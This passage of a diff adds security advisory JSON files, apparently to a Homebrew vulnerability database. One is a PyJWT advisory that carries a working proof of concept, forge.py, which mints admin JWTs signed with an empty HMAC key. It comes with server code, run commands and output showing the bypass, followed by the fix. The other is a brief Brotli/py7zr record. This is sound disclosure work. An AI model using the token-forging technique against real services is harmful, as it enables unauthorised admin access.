b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n return jsonify({\"keys\": [{\n \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n \"kid\": \"auth-signing-2026\",\n \"k\": b64u(SIGNING_SECRET.encode()), # empty secret -> k == \"\"\n }]})\n\nif __name__ == \"__main__\":\n app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n auth = request.headers.get(\"Authorization\", \"\")\n if not auth.startswith(\"Bearer \"):\n return None, \"missing bearer token\"\n token = auth.split(\" \", 1)[1]\n try:\n signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid\n claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n except Exception as e:\n return None, \"invalid token: %s\" % type(e).__name__\n return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n claims, err = authenticate()\n if err:\n return jsonify({\"error\": err}), 401\n if claims.get(\"role\") != \"admin\":\n return jsonify({\"error\": \"forbidden\"}), 403\n return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)>1 else b\"\" # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v && ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py & ) ; ./v/bin/python api.py &\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n <-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -> reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n <-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n <-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n <-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -> now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n <-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n yielding full impersonation and privilege escalation on any endpoint gated by\n such tokens.\n- Reachable through the documented JWKS verification API\n (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n string-secret path already rejects in 2.13.0, leaving the JWK path as an\n asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n> Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb" + }, + { + "type": "PACKAGE", + "url": "https://github.com/jpadilla/pyjwt" + }, + { + "type": "WEB", + "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0" + } + ] +} diff --git a/advisories/BREW-py7zr-CVE-2026-111497.json b/advisories/BREW-py7zr-CVE-2026-111497.json new file mode 100644 index 00000000000..16effb593cc --- /dev/null +++ b/advisories/BREW-py7zr-CVE-2026-111497.json @@ -0,0 +1,136 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-py7zr-CVE-2026-111497", + "published": "2026-10-27T20:04:16Z", + "modified": "2026-10-27T20:04:16Z", + "upstream": [ + "GHSA-9v8h-qqgm-4m35", + "BIT-node-2026-111497", + "BIT-node-min-2026-111497", + "CVE-2026-111497", + "PYSEC-2026-4322", + "PYSEC-2026-4323" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "py7zr", + "purl": "pkg:brew/py7zr" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.0.0" + }, + { + "fixed": "1.1.4_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "1.2.1", + "resource": "brotli", + "resource_purl": "pkg:pypi/brotli@1.2.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "brotli", + "subject_version": "1.2.1", + "key": "pkg:pypi/brotli@1.2.1", + "resource": "brotli" + } + ] + }, + "summary": "Brotli: Out-of-bounds write in the Brotli decoder (\"Node2Shell\") also affects the PyPI Brotli package", + "details": "A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111497" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/0ed4268a4401abcb4472096340477cf4af7d1a2b" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/50a9b70a4d5e1443fc40927952276b68fffa83a0" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/b418fa81c48262a86a95332b0bc6d62c30aa78b6" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/commit/da9806362874b9bd4b552a3af360b5d6347beb12" + }, + { + "type": "WEB", + "url": "https://www.cve.org/CVERecord?id=CVE-2026-111497" + }, + { + "type": "WEB", + "url": "https://pypi.org/project/brotlicffi" + }, + { + "type": "WEB", + "url": "https://pypi.org/project/Brotli" + }, + { + "type": "WEB", + "url": "https://opensourcemalware.com/blog/node2shell-affects-python" + }, + { + "type": "WEB", + "url": "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high" + }, + { + "type": "WEB", + "url": "https://nodejs.org/en/blog/vulnerability/october-2026-security-releases" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/brotlicffi/PYSEC-2026-4323.yaml" + }, + { + "type": "WEB", + "url": "https://github.com/pypa/advisory-database/tree/main/vulns/brotli/PYSEC-2026-4322.yaml" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/releases/tag/v1.2.1" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/releases/tag/v1.1.1" + }, + { + "type": "WEB", + "url": "https://github.com/google/brotli/releases/tag/v1.0.10" + }, + { + "type": "PACKAGE", + "url": "https://github.com/google/brotli" + } + ] +}